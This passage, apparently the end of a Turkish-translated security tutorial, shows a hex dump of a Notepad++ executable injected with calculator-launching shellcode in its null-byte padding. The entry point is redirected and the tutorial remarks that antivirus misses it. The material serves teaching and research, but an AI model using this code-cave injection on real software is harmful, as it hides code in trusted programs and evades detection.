00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Modified Entry Point Offset: 0x000DA6B6
Inject Far JMP: 0xe9fffdca54
Null-Byte Padding After:
31 D2 52 68 63 61 6C 63 89 E6 52 56 64 8B 72 30 8B 76 0C 8B 76
AD 8B 30 8B 7E 18 8B 5F 3C 8B 5C 1F 78 8B 74 1F 20 01 FE 8B 4C
24 01 F9 42 AD 81 3C 07 57 69 6E 45 75 F5 0F B7 54 51 FE 8B 74
1C 01 FE 03 3C 96 FF D7 E9 54 CA FD FF 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[/COLOR]
Aşağıdaki ekran görüntüsünden Notepad ++ 'ın normal bir şekilde başladığını görebiliriz, fakat şimdi aynı zamanda hesap makinesini de başlatıyor!
Aşağıdaki ekran görüntüleri, Windows 7 Professional 32 bit ve Windows 8 Enterprise 64 bit sürümleri üzerinde gerçekleşen bazı örnek enjeksiyonları göstermektedir.
Notlar:
1- Komut dosyasının başarı oranı, 32bit PE çalıştırılabilir dosyalarında yaklaşık% 90'dır; ne yazıktır ki bu 64 bitte yaklaşık% 50'lere düşmektedir. Bunun nedeni, boş bayt dolgusunun x64 PE'ler için çok daha küçük olmasıdır. Genel bir kural olarak, komut dosyasını "-Write" bayrağı olmadan çalıştırmalısınız, eğer kabuk kodunuz için yeterli alan olduğunu görürseniz, bu durumda işe yarama ihtimali yüksektir.
2- Açıkçası, kabuk kodu daha yararlı bir şeyle değiştirilebilir, ancak kısalık ve kötüye kullanımı sınırlamak için bu konular, yukarıdaki konuda ele alınmamaktadır. Akılda tutmanız gereken birkaç şey var: Yürütme akışını korumamız gerektiğinden dolayı kabuk kodu bir çıkış işlevine sahip olamaz. Kabuk kodu, PE kodu bölümü yazılabilir olmadığından ve azınlıkta olduğundan dolayı yürütüldüğünde paketini açamaz. Test durumları, PE'nin düzgün çalışması için ilk kayıt defteri değerlerini gerekli kıldığından, kabuk kodunun yürütmeden sonra bunları geri yüklemesi gerekir.
3- İmzalı binary dosyalara enjekte etmek imzayı geçersiz kılacaktır, ancak bu yalnızca adli birimler ile uğraşırken endişe vermeli. Dahası, yürütülebilir dosyalarda kabuk kodunu sakladığımız için, AV'nin neler olup bittiğine dair hiçbir fikri yoktur ve programın çalışmasına seve seve izin verir. Comodo'nun, PE'de değişiklik yapıldığında fark ettiğini buldum. Sonuç olarak, yürütülebilir dosyayı izole ediyor, ancak yine de kabuk kodunun yürütülmesine izin verir. Giriş noktasının tahrif edildiğini tespit ettiğinden şüpheleniyorum.
4- Ahmak olmayın, bu araç sadece yetkili kullanımı için oluşturulmuştur!
ORİJİNAL KAYNAK: https://www.fuzzysecurity.com/tutorials/20.html
ÇEVİRMEN: Dolyetyus